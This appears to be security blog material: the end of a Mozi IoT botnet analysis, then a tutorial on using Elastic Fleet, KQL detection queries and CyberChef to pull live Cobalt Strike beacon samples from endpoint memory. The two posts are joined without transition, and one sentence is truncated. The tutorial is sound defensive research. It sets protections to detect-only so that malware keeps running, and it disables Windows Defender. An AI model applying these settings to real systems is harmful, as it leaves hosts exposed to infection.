The Mozi botnet has been observed targeting vulnerable Internet of Things (IoT) devices to launch seemingly non-targeted campaigns that can take advantage of the force multiplication provided by a botnet. Mozi has been in operation since at least December 2019.

We covered techniques to collect, ingest, and analyze samples from the Mozi botnet. These methodologies can also be leveraged to enhance and enable analytical processes for other data samples.

Additional resources

• Blog artifacts and scripts, Elastic: https://github.com/elastic/examples/tree/master/blog/mozin-about
• ThreatFox Indicator of Compromise Database, Abuse.ch: https://threatfox.abuse.ch/browse
• UPX Anti-Unpacking Techniques in IoT Malware, CUJOAI: https://cujo.com/upx-anti-unpacking-techniques-in-iot-malware
• Corrupted UPX Packed ELF Repair, vcodispot.com: https://vcodispot.com/corrupted-upx-packed-elf-repair
• UPX PACKED ELF BINARIES OF THE PEER-TO-PEER BOTNET FAMILY MOZI, Lars Wallenborn: https://blag.nullteilerfrei.de/2019/12/26/upx-packed-elf-binaries-of-the-peer-to-peer-botnet-family-mozi
• Mozi, Another Botnet Using DHT, 360 Netlab: https://blog.netlab.360.com/mozi-another-botnet-using-dht
• Mozi Botnet Accounts for Majority of IoT Traffic, Tara Seals: https://threatpost.com/mozi-botnet-majority-iot-traffic/159337
• New Mozi P2P Botnet Takes Over Netgear, D-Link, Huawei Routers, Sergiu Gatlan: https://www.bleepingcomputer.com/news/security/new-mozi-p2p-botnet-takes-over-netgear-d-link-huawei-routers
• Kibana Maps, Elastic: https://www.elastic.co/pt/guide/en/kibana/current/maps.html
• Kibana Lens, Elastic: https://www.elastic.co/pt/guide/en/kibana/current/lens.html

Cobalt Strike is a premium offensive security tool leveraged by penetration testers and red team members as a way to emulate adversary behavior. The goal is to validate security detection capabilities and processes replicating a real-world intrusion. While Cobalt Strike is a legitimate tool, it is often abused by actual threat actors as a way to gain and maintain persistence into targeted networks.

To manage command and control, Cobalt Strike leverages an implant that uses beacon configuration known as a Malleable Command and Control (Malleable C2) profile. A Malleable C2 profile contains a tremendous number of options to configure the beacon’s functionality, please see Cobalt Strike’s official documentation for specifics on configuring Malleable C2 beacons.

This blog will focus on using the Elastic Stack to collect Cobalt Strike beacon payloads, extract and parse the beacon configurations, and an analysis of the metadata within the configurations. This will all be taken from the memory of targeted Windows endpoints that we’ve collected from our telemetry.

The Fleet Policy

Fleet is an app in Kibana that provides a central place to configure and monitor your Elastic Agents. Fleet uses integrations, which are unified plugins that allow data to be collected from apps and services, and then stored in Elasticsearch. Integrations are added to policies, and Elastic Agents are added to policies.

First, we need to configure the collection of shellcode and malicious memory regions in a Fleet policy. This will collect 4MB of data from memory surrounding shellcode and malicious memory events. It should be noted that this collection may significantly increase the amount of data stored in Elasticsearch.

You can add this to an existing policy or create a new policy. To create a new policy, in Kibana, navigate to Fleet → Agent Policies → Create agent policy. Give your policy a name and description. Optionally, you can disable “System monitoring” and “Agent monitoring” to reduce the amount of system and agent metadata collected from your endpoints. Click on “Create agent policy”.

Next, click on your new policy and click the “Add integration button.

Finally, we’re going to add the memory and shellcode collection options. Click on the integration name (“Endpoint Security”).

Under “Protections”, leave the different protection types selected, but change the Protection level from “Prevent” to “Detect”. This will allow malware to continue to run to allow for more rich event collection. There are several types of Protections (Malware, Memory, etc.), select “Detect” for each type that has Windows as an available “Operating system”; you can uncheck Mac and Linux Operating Systems. If you are enabling this feature for a production environment, leave the Protection levels as “Prevent”

At the bottom of the integration configuration page, you can toggle “Register as antivirus” so that the Elastic Agent is registered as the Antivirus solution, and disable Windows Defender. Click on “Show advanced settings”.

At the very bottom of the advanced settings page, type “true” for the windows.advanced.memory_protection.shellcode_collect_sample and windows.advanced.memory_protection.memory_scan_collect_sample settings, and then click “Save integration”.

Once you have created this specific Fleet policy, you can apply this policy to an endpoint running the Elastic Agent. For specific instructions on how to deploy the Elastic Agent, refer to the official Elastic documentation.

Collecting the Beacon

Now that we’ve made a collection policy and applied it to a Windows machine you can target it with a CobaltStrike campaign. Instead of mimicking what a CobaltStrike beacon could look like in a lab, we’re going to use live CobaltStrike beacon payloads from Elastic’s telemetry.

To find Cobalt Strike beacon payloads, you can use the Discover app in Kibana to return events identified as Cobalt Strike. These events are provided by the Elastic Endpoint Security Agent, which identifies Cobalt Strike beacons and modules with the “Windows.Trojan.CobaltStrike” malware signature. A simple Kibana Query Language (KQL) search is as simple as:

KQL search for Cobalt Strike

event.category:(malware or intrusion_detection) and
rule.name:(Windows.Trojan.CobaltStrike or Windows.Trojan.Cobaltstrike)

Next, let’s filter on documents that have the process.Ext.memory_region.bytes_compressed field (this is a field populated by the windows.advanced.memory_protection.shellcode_collect_sample and windows.advanced.memory_protection.memory_scan_collect_sample settings we configured in the Fleet policy above). To do that we can simply add a filter for the process.Ext.memory_region.bytes_compressed_present field with a value of true.

Finally, add the process.Ext.memory_region.bytes_compressed field to our view so that we can see the value of the field.

We can see that we have 133 examples with data in the process.Ext.memory_region.bytes_compressed field. This field contains the file extracted from the memory of the infected host and then zlib deflated and Base64 encoded.

Now that we’ve collected the file in the Elastic Stack, let’s turn that raw data into a file that we can analyze.

There is a lot of nuance between operating systems on how to decode Base64 and inflate zlib deflated files. If you’d prefer to use your command line or local tools, feel free to do so. That said, CyberChef is a browser-based data parser that is provided for free by the United Kingdom’s Government Communications Headquarters (GCHQ).

Using the CyberChef web application, add the “From Base64” and “Zlib Inflate” recipesand then paste the contents of the process.Ext.memory_region.bytes_compressed field into the ).

Click on the disk icon to download the inflated binary.

Running the file command, we can see that this is a Portable Executable (PE) file that can be analyzed by a malware reverse engineer (RE).

Using the file command to validate the file type

$ file beacon.exe

beacon.exe: PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows

While an RE can identify a tremendous amount of information, let’s explore what additional information a non-RE can obtain from this file.

Next Steps

In the next release, we’ll use the beacon that we’ve just collected and extract its configuration. With this information, we’ll be able to identify other important elements such as license identifications, watermarks, and atomic indicators.